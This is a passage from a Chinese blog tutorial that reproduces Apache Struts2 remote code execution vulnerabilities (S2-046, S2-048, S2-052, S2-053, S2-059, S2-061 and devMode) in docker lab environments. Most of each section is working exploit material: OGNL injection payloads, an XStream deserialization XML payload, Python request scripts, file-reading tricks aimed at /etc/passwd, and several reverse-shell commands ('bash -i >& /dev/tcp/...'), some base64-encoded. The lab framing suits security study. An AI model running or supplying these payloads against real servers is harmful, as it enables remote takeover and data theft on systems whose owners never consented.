复制
%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',11*11)}.multipart/form-data
image-20210711150418468
image-20210711150418468

4.14 S2-046远程代码执行漏洞

漏洞原理
攻击者通过设置Content-Disposition的filename字段或者设置Content-Length超过2G这两种方式来触发异常并导致filename字段的OGNL表达式得到执行从而达到远程攻击的目的。该漏洞与045漏洞成因一样,只是漏洞利用的字段发生了改变。
与045相同,046也是OGNL注入,但出现在上传请求的文件名字段中,并且需要NUL字节来拆分有效负载和其余字符串。
影响版本
代码语言:javascript
复制
Struts 2.3.5-Struts 2.3.31҅Struts 2.5-Struts 2.5.10
启动漏洞
image-20210711153613572
image-20210711153613572
image-20210711153651274
image-20210711153651274
poc-1,在filename=””处填上
代码语言:javascript
复制
%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',1+99)}\x00b
image-20210711153842625
image-20210711153842625
找到b之前的字符,进行00截断
image-20210711154116137
image-20210711154116137
可以看到POC中算式执行成功。
poc-2,反弹shell,同样需要进行00截断。
代码语言:javascript
复制
"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/192.168.173.133/9899 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} b"
image-20210711171118416
image-20210711171118416

4.15 S2-048远程代码执行漏洞

漏洞原理
Apache Struts2 2.3.x 系列启用了struts2-struts1-plugin 插件并且存在 struts2-showcase 目录,其漏洞成因是当ActionMessage接收客户可控的参数数据时,由于后续数据拼接传递后处理不当导致任意代码执行。
影响版本
代码语言:javascript
复制
Apache Struts 2.3.x系列中启用了struts2-struts1-plugin插件的版本
启动漏洞
image-20210711174232049
image-20210711174232049
image-20210711174420283
image-20210711174420283
poc-1
代码语言:javascript
复制
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}
image-20210711195031238
image-20210711195031238
image-20210711195105694
image-20210711195105694
poc-2 反弹shell
代码语言:javascript
复制
%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/192.168.173.133/8888 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} b"
image-20210711195527888
image-20210711195527888

4.16 S2-052远程代码执行漏洞

漏洞原理
Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,可被远程攻击。
影响版本
代码语言:javascript
复制
Struts 2.1.2 - Struts 2.3.33
Struts 2.5 - Struts 2.5.12
启动漏洞
image-20210711200028566
image-20210711200028566
image-20210711200209092
image-20210711200209092
poc-1
代码语言:javascript
复制
<map>
 <entry>
 <jdk.nashorn.internal.objects.NativeString>
 <flags>0</flags>
 <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
 <dataHandler>
 <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
 <is class="javax.crypto.CipherInputStream">
 <cipher class="javax.crypto.NullCipher">
 <initialized>false</initialized>
 <opmode>0</opmode>
 <serviceIterator class="javax.imageio.spi.FilterIterator">
 <iter class="javax.imageio.spi.FilterIterator">
 <iter class="java.util.Collections$EmptyIterator"/>
 <next class="java.lang.ProcessBuilder">
 <command>
 <string>touch</string>
 <string>/tmp/success</string>
 </command>
 <redirectErrorStream>false</redirectErrorStream>
 </next>
 </iter>
 <filter class="javax.imageio.ImageIO$ContainsFilter">
 <method>
 <class>java.lang.ProcessBuilder</class>
 <name>start</name>
 <parameter-types/>
 </method>
 <name>foo</name>
 </filter>
 <next class="string">foo</next>
 </serviceIterator>
 <lock/>
 </cipher>
 <input class="java.lang.ProcessBuilder$NullInputStream"/>
 <ibuffer></ibuffer>
 <done>false</done>
 <ostart>0</ostart>
 <ofinish>0</ofinish>
 <closed>false</closed>
 </is>
 <consumed>false</consumed>
 </dataSource>
 <transferFlavors/>
 </dataHandler>
 <dataLen>0</dataLen>
 </value>
 </jdk.nashorn.internal.objects.NativeString>
 <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
 </entry>
 <entry>
 <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
 <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
 </entry>
</map>
image-20210711200351962
image-20210711200351962
这里包头content-type修改为application-xml
image-20210711200608677
image-20210711200608677
image-20210711200639609
image-20210711200639609
image-20210711200713281
image-20210711200713281
小技巧
代码语言:javascript
复制
读文件
<command> <string>cp</string> <string>/etc/passwd</string> <string>/tmp/passwd</string> </command>
写文件
<command>
<string>bash</string>
<string>-c</string>
<string>echo dayu hello > /tmp/dayu.txt</string>
</command>

4.17 S2-053远程代码执行漏洞

漏洞原理
Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次之后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。
影响版本
代码语言:javascript
复制
Struts 2.0.1-2.3.33
Struts 2.5-2.5.10
启动漏洞
image-20210711201400818
image-20210711201400818
image-20210711201449481
image-20210711201449481
poc-1
代码语言:javascript
复制
redirectUri=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmds%3D%28%7B%27%2Fbin%2Fbash%27%2C%27-c%27%2C%27id%27%7D%29%29.%28%23p%3Dnew+java.lang.ProcessBuilder%28%23cmds%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D%0A
image-20210711201616445
image-20210711201616445
poc-2
代码语言:javascript
复制
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/192.168.173.133/8889 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TzmtWuF4-1626014278360)(C:/Users/zcc/AppData/Roaming/Typora/typora-user-images/image-20210711203127993.png)]

image-20210711203146633
image-20210711203146633

4.18 S2-059远程代码执行漏洞

漏洞原理
Apache Struts框架,会对某些特定的标签的属性值,比如id属性进行二次解析,所以攻击者可以传递将在呈现标签睡醒时再次解析的OGNL表达式,造成OGNL表达式注入。从而可能造成远程代码执行!
影响版本
代码语言:javascript
复制
Struts 2.0.0 - Struts 2.5.20
启动漏洞
image-20210711210933003
image-20210711210933003
image-20210711211155033
image-20210711211155033
验证漏洞是否存在
image-20210711211356657
image-20210711211356657
poc-1
代码语言:javascript
复制
%25%7b%23_memberAccess.allowPrivateAccess%3Dtrue%2C%23_memberAccess.allowStaticMethodAccess%3Dtrue%2C%23_memberAccess.excludedClasses%3D%23_memberAccess.acceptProperties%2C%23_memberAccess.excludedPackageNamePatterns%3D%23_memberAccess.acceptProperties%2C%23res%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D%40java.lang.Runtime%40getRuntime()%2C%23s%3Dnew%20java.util.Scanner(%23a.exec('ls%20-al').getInputStream()).useDelimiter('%5C%5C%5C%5CA')%2C%23str%3D%23s.hasNext()%3F%23s.next()%3A''%2C%23res.print(%23str)%2C%23res.close()%0A%7d
image-20210711212245546
image-20210711212245546
poc-2 ,python2环境下执行
代码语言:javascript
复制
import requests
url = "http://127.0.0.1:8080"
data1 = {
 "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
 "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch /tmp/success'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)
image-20210711213340974
image-20210711213340974
image-20210711213331656
image-20210711213331656
poc-3,反弹shell
代码语言:javascript
复制
base64编码网址:
http://www.jackson-t.ca/runtime-exec-payloads.html   
bash -i >& /dev/tcp/192.168.173.133/8889 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3My4xMzMvODg4OSAwPiYx}|{base64,-d}|{bash,-i}
代码语言:javascript
复制
import requests
url = "http://192.168.173.144:8080"
data1 = {
 "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
 "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3My4xMzMvODg4OSAwPiYx}|{base64,-d}|{bash,-i}'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)
image-20210711214038448
image-20210711214038448

4.19 S2-061远程代码执行漏洞

漏洞原理
Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,风险极大。S2-061是对S2-059的绕过,Struts2官方对S2-059的修复方式是加强OGNL表达式沙盒,而S2-061绕过了该沙盒。
影响版本
代码语言:javascript
复制
Struts 2.0.0 - Struts 2.5.25
启动漏洞
image-20210711214547707
image-20210711214547707
image-20210711214711634
image-20210711214711634
poc-1
代码语言:javascript
复制
POST /index.action HTTP/1.1
Host: 192.168.173.144:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.173.144:8080/index.action
Cookie: JSESSIONID=node01k3pu3katilv7msftp5e7xu3u2.node0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 827

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
image-20210711215812966
image-20210711215812966
poc-2 反弹shell
代码语言:javascript
复制
base64编码网址:
http://www.jackson-t.ca/runtime-exec-payloads.html   
bash -i >& /dev/tcp/192.168.173.133/8889 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3My4xMzMvODg4OSAwPiYx}|{base64,-d}|{bash,-i}
image-20210711220203033
image-20210711220203033
替换poc-1中的id位置即可。

4.20 S2-devMode远程代码执行漏洞

漏洞原理
当Struts2开启devMode模式时,将导致严重远程代码执行漏洞。如果WebService 启动权限为最高权限时,可远程执行任意命令,包括关机、建立新用户、以及删除服务器上所有文件等等。
影响版本
代码语言:javascript
复制
Struts 2.1.0--2.5.1,通杀Struts2所有版本
启动漏洞
代码语言:javascript
复制
docker pull medicean/vulapps:s_struts2_s2-devmode
image-20210711220749755
image-20210711220749755
代码语言:javascript
复制
docker run -d -p 8080:8080 medicean/vulapps:s_struts2_s2-devmode
docker ps
image-20210711220953688
image-20210711220953688
image-20210711221011780
image-20210711221011780
poc
代码语言:javascript
复制
/orders/new/?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789&command=id
image-20210711221128437
image-20210711221128437
k8
image-20210711221501211
image-20210711221501211

发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/161693.html原文链接:https://javaforall.cn

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1. Struts2简介
    • Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。其全新的Struts 2的体系结构与Struts 1的体系结构差别巨大。Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与Servlet API完全脱离开,所以Struts 2可以理解为WebWork的更新产品。虽然从Struts 1到Struts 2有着非常大的变化,但是相对于WebWork,Struts 2的变化很小。
    • 2.下载Struts2
      • 下载环境:Windows7 x64(需要有java环境)
        • 安装完jdk后,安装tomcat,默认下一步就行
          • 这里上传两个war包到网站根目录下
            • 运行bin目录下的tomcat8
              • 两个war包即可被部署好(开启过程中上传war包可自动部署)
                • 远程访问成功
                • 3.漏洞复现(本地)
                  • 3.1 S2-057远程代码执行漏洞
                    • 对该页面进行抓包
                    • 验证漏洞是否存在,poc如下:
                  • 3.2 S2-001远程执行代码漏洞
                    • 漏洞原理:
                    • 影响版本:
                • 4.Vulhub漏洞复现
                  • 4.1 S2-001远程代码执行漏洞
                    • 开启struts2-001漏洞
                    • 验证是否开启
                    • 验证是否存在
                    • 获取tomcat路径
                    • 获取网站的真实路径
                    • 执行命令
                  • 4.2 S2-005远程代码执行漏洞
                    • 漏洞原理
                    • 影响版本
                    • 绕过过程
                    • 漏洞启动
                    • 执行命令
                  • 4.3 S2-007远程代码执行漏洞
                    • 漏洞原理
                    • 影响版本
                    • 启动漏洞
                    • 验证漏洞
                  • 4.4 S2-008远程代码执行漏洞
                    • 漏洞描述
                    • 影响版本
                    • 开启漏洞
                  • 4.5 S2-009远程代码执行漏洞
                    • 漏洞描述
                    • 影响版本
                    • 漏洞启动
                  • 4.6 S2-012远程代码执行漏洞
                    • 漏洞原理
                    • 影响版本
                    • 启动漏洞
                    • poc-1
                    • poc2
                  • 4.7 S2-013远程代码执行漏洞
                    • 漏洞原理
                    • 影响版本
                    • 启动漏洞
                  • 4.8 S2-015远程代码执行漏洞
                    • 漏洞原理
                    • 影响版本
                    • 启动漏洞
                  • 4.9 S2-016远程代码执行漏洞
                    • 漏洞原理
                    • 影响版本
                    • 启动漏洞
                  • 4.10 S2-019远程代码执行漏洞
                    • 漏洞原理
                    • 影响版本
                    • 启动漏洞
                  • 4.11 S2-029远程代码执行漏洞
                    • 漏洞原理
                    • 影响版本
                    • 启动漏洞
                    • poc
                  • 4.12 S2-032远程代码执行漏洞
                    • 漏洞原理
                    • 影响版本
                    • 启动漏洞
                    • poc-1
                    • poc-2(查看id)
                    • poc-3(创建文件夹)
                  • 4.13 S2-045远程代码执行漏洞
                    • 漏洞原理
                    • 影响版本
                    • 启动漏洞
                    • poc-1
                    • poc-2
                  • 4.14 S2-046远程代码执行漏洞
                    • 漏洞原理
                    • 影响版本
                    • 启动漏洞
                    • poc-1,在filename=””处填上
                    • poc-2,反弹shell,同样需要进行00截断。
                  • 4.15 S2-048远程代码执行漏洞
                    • 漏洞原理
                    • 影响版本
                    • 启动漏洞
                    • poc-1
                    • poc-2 反弹shell
                  • 4.16 S2-052远程代码执行漏洞
                    • 漏洞原理
                    • 影响版本
                    • 启动漏洞
                    • poc-1
                  • 4.17 S2-053远程代码执行漏洞
                    • 漏洞原理
                    • 影响版本
                    • 启动漏洞
                    • poc-1
                  • 4.18 S2-059远程代码执行漏洞
                    • 漏洞原理
                    • 影响版本
                    • 启动漏洞
                  • 4.19 S2-061远程代码执行漏洞
                    • 漏洞原理
                    • 影响版本
                    • 启动漏洞
                  • 4.20 S2-devMode远程代码执行漏洞
                    • 漏洞原理
                    • 影响版本
                    • 启动漏洞
                    • poc
                相关产品与服务
                容器服务
                腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
                领券
                问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档